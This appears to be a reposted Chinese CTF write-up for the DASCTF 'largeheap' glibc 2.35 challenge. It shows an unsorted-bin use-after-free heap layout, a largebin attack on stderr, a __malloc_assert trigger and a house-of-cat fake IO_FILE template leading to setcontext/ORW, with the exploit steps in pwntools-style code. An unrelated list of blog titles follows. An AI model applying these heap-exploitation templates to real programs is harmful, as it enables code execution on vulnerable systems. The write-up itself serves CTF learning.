Unsorted_bin_UAF
Posted brain-Z
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Unsorted_bin_UAF相关的知识,希望对你有一定的参考价值。
Unsorted_bin_UAF
dasctf2023.4的largeheap,libc2.35,保护全开。通过这题记录下纯unsortedbin风水实现堆混淆。
官方WP:
largeheap的解题思路
逆向分析
首先打开IDA发现main函数主要提供了三个功能,分别是add、edit和delete功能。我们分别看一下这三个功能提供的操作。
add
可以发现add函数实现了申请队块的功能,限制的大小是0x418~0x468,并且最多可以申请15个堆块。
delete
delete函数主要功能就是释放堆块,存在很明显的UAF漏洞。
edit
edit函数主要提供了两个功能,一个是有一次机会修改堆块中的内容,还有一个功能是向堆块中的指针加上一个偏移指向的地址中写入一个零字节。
漏洞利用
程序的漏洞十分的明显,就是一个明显的UAF漏洞。程序没有可以退出的地方,并且申请的堆块大小都是处于largebin大小的堆块。因此我们采用的思路就是largebin attack攻击malloc_assert,从而劫持程序流程。利用流程如下:首先我们申请一个堆块让其进入到unsortedbin中,之后我们利用edit函数的功能向IO_read_end和IO_write_base的倒数第二个字节写入\'\\x00\',这样在之后调用puts函数的时候就会泄露大量的数据,其中包含了堆地址和libc地址。这样我们就完成了泄露功能。由于我们只有一次修改堆块内容的机会,因此我们需要通过堆风水进行largebin attack攻击的同时进行topchunk size的修改。这样我们在触发largebin attack的时候也会进行malloc assert的调用,之后我们通过劫持malloc assert来进行orw即可。
实现这种操作的堆风水布局相对来说比较的困难,我们通过相邻的unsortedbin堆块合并的特点,以及UAF时留下的悬浮指针来对堆块不断地进行操作,并对残留的堆块指针的size进行修改。从而使得largebin堆块的指针和topchunk size相邻很近,最后达到可以在修改largebin堆块的指针的同时,修改掉topchunk size,从而触发malloc assert,实现orw的劫持。具体过程如下:
首先我们申请四个堆块,大小分别是0x440、0x430、0x450、0x468,编号依次为1、2、3、4,其中我们在0x440的堆块上布置好我们需要劫持IO的payload,在后面的过程中我们需要通过largebin attack将0x440的堆块地址写入stderr,从而在malloc assert的时候实现劫持。此时堆块布局如下:
然后我们释放掉中间的堆块1和2,使中间的堆块合并,之后我们申请大一点的堆块,大小为0x460,编号为4号堆块,修改原先2号堆块的标志位,便于后续double free。之后将unsortedbin中的堆块全部申请出来,大小为0x420,编号为6号堆块,目的也是为了绕过后面的double free。此时堆块布局如下:
然后我们对2号堆块进行double free后再次将2号堆块申请回来,由于堆块重叠,我们可以修改5号堆块的指针的size为0xd10。再次释放掉2号对块,使其进入unsortedbin中开始进行largebin attack。之后从topchunk申请一个大队块,使2号对块进入largebin的同时,与前面修改的0xd10的大堆块对齐,此时5号堆块的大小变为了0xd10,为后续释放从而与topchunk合并作准备。此时堆块布局如下:
然后我们开始进行largebin attack的攻击。释放掉0号堆块使其进入unsortedbin中,然后释放0xd10的5号堆块,使其与topchunk合并,这样topchunk的size上移,我们在修改2号对块的时候就能够同时修改到topchunk的size,从而通过一次修改触发malloc assert的利用。此时堆块布局如下:
之后利用edit同时修改对块内容和topchunk的size,再次申请一个大堆块即可同时实现malloc assert的触发和向stderr中写入堆块地址。从而实现IO的劫持,触发布置好的payload,实现orw读取flag内容。
从此开始:
官方wp甚至不给exp,edit函数图片不截上面奇怪的检测随机值,只能说春秋笔法确实到位
check里大概就是造了个随机值然后printf打印出来,紧接着又要你把刚刚打印的随机值输回去检验是否相等,不相等就没法执行edit下面的操作。。。这个意义不明随机值倒是还好,但是printf就多少沾点了。。。由于漏洞给的泄露是往堆的fd指针附近写一个\\x00 1字节,能写两次,我一开始就联想是修改IO stdout,结果试了半天都不行。他wp里说的向IO_read_end和IO_write_base的倒数第二个字节写入\'\\x00\',可问题是,如果这个随机值检测在的话,一定会有printf,而用他这个功能改完第一次IO_read_end或者IO_write_base,等到下一次准备edit的时候,会执行随机值检测里的printf,由于第一次的修改,IO_read_end和IO_write_base此时不相等,导致printf无法正常打印随机值,从而完全无法同时修改IO_read_end和IO_write_base完成泄露。。。
IO_2_1_stdout
https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_18
printf
,fwrite
,puts
等输出走IO
指针(write
不走)。
为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES
,即_flag &~ 0x8
;
(2) 设置_flag & _IO_CURRENTLY_PUTTING
,即_flag | 0x800
;
(3) 设置_fileno
为1
;
(4) 设置_IO_write_base
指向想要泄露的地方,_IO_write_ptr
指向泄露结束的地址;
(5) 设置_IO_read_end
等于_IO_write_base
或 设置_flag & _IO_IS_APPENDING
即,_flag | 0x1000
。
此外,有一个大前提:需要调用_IO_OVERFLOW()
才行,因此需使得需要输出的内容中含有\\n
换行符 或 设置_IO_write_end
等于_IO_write_ptr
(输出缓冲区无剩余空间)等。
_flag
的构造需满足的条件:
_flags = 0xfbad0000
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
此外,_flags
也可再加一些其他无关紧要的部分,如设置为0xfbad1887
,0xfbad1880
,0xfbad3887
等等。
unsorted bin UAF
适用于能频繁造出unsorted bin大小的size,比如size大于tcache可存放的最大size,从而每次free都是先放进unsortedbin。
当然让tcache填满再来用这种方法也行,不过相应free次数也多不少,或者打tcache struct后直接把tcache count改满。
首先,创造四个堆,0:0x440,1:0x430,2:0x450,3:0x468
add(0,0x440,pl)
add(1,0x430)
add(2,0x450)
add(3,0x468)
free 1 和 2 堆后,让两个不同size的堆融合成大的unsorted bin
free(1)
free(2)
此时通过再次申请0x460,标号为4(一般比小的堆块大一些,保证能覆盖控制原本0x450的堆块的size或者fd等),切割刚刚融合成的大unsortedbin,这时能修改原本0x450堆的pre_inuse位,将其改为0x461。紧接着再把切割剩余的0x420大小的unsorted bin拿出来,标号为5。
add(4,0x460,0x430*\'a\'+p64(0)+p64(0x461))
add(5,0x420)
此时由于UAF,即可再次free 2 堆,实现对2 堆的 double free。此时申请2堆对应的size 0x450,即可把2堆重新拿出,并往里面写入内容,由于5 堆的存在,2堆写的内容正好能覆盖到5堆的prev_size和size,将5堆从原本的0x430 size改为0xd11,prev_size填为0x470,保证能正常free。
free(2)
add(6,0x450,p64(0)*4+p64(0x470)+p64(0xd11))
这时候再free 2堆,并申请一个更大堆块,触发consolidate让2堆进入largebin为attack做准备。
free(2)
add(7,0x468)
此时free 0堆,让0堆进入unsortedbin,等待下一次consolidate进入largebin完成attack。由于之前改过5堆的size,此时free 5堆即可让topchunk与5堆重合,5堆的size变为topchunk的size。由于我们仅有一次正常edit机会,此时可以edit 2堆,让其修改自身的fd,bk,fd_nextsize,bk_nextsize,为largebin attack做好准备,同时由于2堆与5堆重叠,我们还可以就此更改5堆(此时是topchunk)的size,以此来触发__malloc_assert。
free(0)
free(5)
edit1(2,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1ce0)+p64(stderr)+p64(0)+p64(0x200))
最后,通过申请较大的堆,触发largebin attack的同时,完成对__malloc_assert的触发
add(8,0x468)
后续我用的是house of cat的一个调用链,通过__malloc_assert的fxprintf触发,vtable=IO_wfile_jumps+0x10,这样实际call的时候就是_IO_wfile_seekoff->_IO_switch_to_wget_mode
1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。
4.call调用[rax2+0x18]处的内容。
fake_IO结构体需要绕过的检测
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)
house of cat的模板,原理参照上图。伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)
fake_io_addr=heap_base+0x1450 # 伪造的fake_IO结构体的地址
next_chain = 0
#_flags=rdi (fake_io head is chunk\'s pre_size)
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0x10+0x108+8)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10, \'\\x00\')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10, \'\\x00\')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10, \'\\x00\')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10, \'\\x00\')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10, \'\\x00\')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_5
__malloc_assert以及相关思考
__malloc_assert代码如下
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s\' failed.\\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
house of kiwi提供了一种调用该函数的思路,可以通过修改topchunk的大小触发,即满足下列条件中的一个
1.topchunk的大小小于MINSIZE(0X20)
2.prev inuse位为0
3.old_top页未对齐
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
然而触发之后,利用_malloc_assert的哪一块也是更为关键的,因为该函数里面的另外两个函数 _fxprintf和fflush (stderr)都是对stderr进行操作,这两个函数都能触发IO相关虚标指针。
fflush (stderr)
可以看到,在malloc.c
中,assert
断言失败,最终都会调用__malloc_assert
,而其中有一个fflush (stderr)
的函数调用,会走stderr
的IO_FILE
,最终会调用到其vtable
中_IO_file_jumps
中的__IO_file_sync
,此时rdx
为IO_helper_jumps
。
fxprintf
值得一提的是,在house of KiWi
调用链中,在调用到__IO_file_sync
之前,在__vfprintf_internal
中也会调用IO_FILE
虚表中的函数,会调用[vtable] + 0x38
的函数,即_IO_new_file_xsputn
,因此我们可以通过改IO_FILE
中vtable
的值,根据偏移来调用其他虚表中的任意函数。
利用house of KiWi
配合house of emma
的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write)
,这里用的是_IO_cookie_write
函数,用其他的当然也同理。
stderr
由于stderr其实是个存在于libc里的指针,其实也能被largebin attack一把梭改了,然后就等同于fflush(fake_IO)了,stderr可以直接用pwntools找
目录大纲
- Django基础
- POST与GET请求的区别
- CRM
- 安装 rabbitmq ,通过生成器获取redis列表数据 与 Celery 分布式异步队列
- 统计一篇英文文章内每个单词出现频率,并返回出现频率最高的前10个单词及其出现次数
- POST与GET请求的区别
- Restframework 分页器 Pagnation 组件实例-5
- Restframework 渲染器 render 组件实例-4
- Restframework 频率throttle组件实例-3
- Restframework 权限permission 组件实例-2
- Restframework 认证authentication 组件实例-1
- 算法
- Restframework 视图组件与序列号组件的应用.
- Linux常用命令
- 数据结构
- MongoDB
- Flask 语音分析
- Flask 视图,模板,蓝图.
- s11 day Linux 和nginx 部署
- s11 day105
- s11 day104 数据库表结构与立即支付流程
- s11 day103 luffy项目结算部分+认证+django-redis
- s11 day 102 python Linux环境安装 与路飞项目
- s11 day 101 python Linux环境安装 与路飞项目支付功能
- s11 day100 redis 路飞项目逻辑购物车一
- S11 day 99 Luffy项目 跨域请求
- S11 day 97 -98天 Luffycity项目
- S11 day 96 RestFramework 之认证权限
- S11 day 95 RestFramework 之 视图
- S11 day 94 RestFramework 之 APIView视图
- S11 day 93 RestFramework 序列化
- web请求的状态码
- Knowledge Point
- day111 爬虫第一天
- day 112天,爬虫(拉钩网,斗音,GitHub)第二天
- day 113 爬虫框架
- day 108 项目luffy
- day 104 luffy项目第二天
- day103 跨域请求 与频率访问限制.
- day 102 Git
- day 100天 VUE 父子传值,单页面.
- day 94 RestFramework序列化组件与视图view
- day 93 Restframwork
- day85 ModuleForm
- day 82 URL分发
- day 81 天 ORM 操作复习总结
- day 77 基于form组件的注册功能
- day 82 Django Admin组件.
- day 76 滑动窗口 ,头像上传
- day 75天 bbs 项目第一天 ,auth登陆
- day74天中间件介绍
- day72 Ajax第一天
- Day71 分页,cookie and Session
- day70 csrf简单用法 &Django ContentType
- day 69 orm操作
- day65 Django模板语言
- day 64 Django 第五天 多表对多表的对应关系ORM
- Day 62 Django第三天
- Day 61 Django第二天
- day 60 Django第一天
- day 59 pymysql
- day 57 Bootstrap 第一天
- day52 进程与守护进程
- Day 49 CSS样式.
- Day 48 HTML 语言Day1
- Day 46 视图、存储过程、触发器、函数、事物、锁
- Day 45Mysql 练习题一
- Day44 数据库的操作
- Day 43数据库(Day1)
- Day 42 协程. IO 并发
- Day 41 线程
- FTP 作业整理
- Day 39 管道 、数据共享与地址池
- Day 38 Semaphore ,Event ,队列
- Day37 多进程
- Day 36 网络编程-计算机的发展
- Day 35 验证客户端的合法性
- Day 34 黏包
- Day 33 Socket编程.
- Day 32 网络编程
- Day 31 面向对象考试题 第四次考试.
- Day 30 面向对象的考试题
- Day 29 _模块二 -hashlib_configparse_logging
- Day 28面向对象的进阶-内置函数(__new__,__del__)
- Day 34 面试题
- Day 27 类的进阶-反射
- Day 26封装
- Day 25 多态.
- Day 24 继承
- Day 23 面向对象的命名空间与组合
- Day 22 面向对象知识.
- Day 第四次测试题+答案
- Day 21 序列化模块_Json,Pickle,Shelve
- Day 20 Time 模块.
- Day 19 re 模块 random模块
- Day19二分法 用递归
- Day 18 正则表达式.
- Day 15 内置函数 , 匿名函数.
- Day14 作业
- Day 14 列表推导式、表达器、内置函数
- Day 13 迭代器,生成器.
- Day 12 作业.(完成)
- Day 12 装饰器,开发封闭.
- Day 11 作业题
- Day 11 函数名,闭包,装饰器. +作业
- Day 10 动态参数&名称空间,局部全部.函数嵌套&global nonlocal关键字.
- Day 9 作业题(完成)
- Day 9 函数的初识
- Day 8 集合与文件的操作
- Day 7 深copy和浅Copy
- Day6 ,周期末考试试题
- Day 6 编码的进阶
- Day5 作业(完成)
- Day 5 字典的操作
- Day4 作业
- Day 4 list 列表的使用方法
- Day 3 Python 基础数据类型二
- Day 2 Python 基础数据类型
- Day 1. 占位符的使用方法(%d,%s)(格式化输出)
以上是关于Unsorted_bin_UAF的主要内容,如果未能解决你的问题,请参考以下文章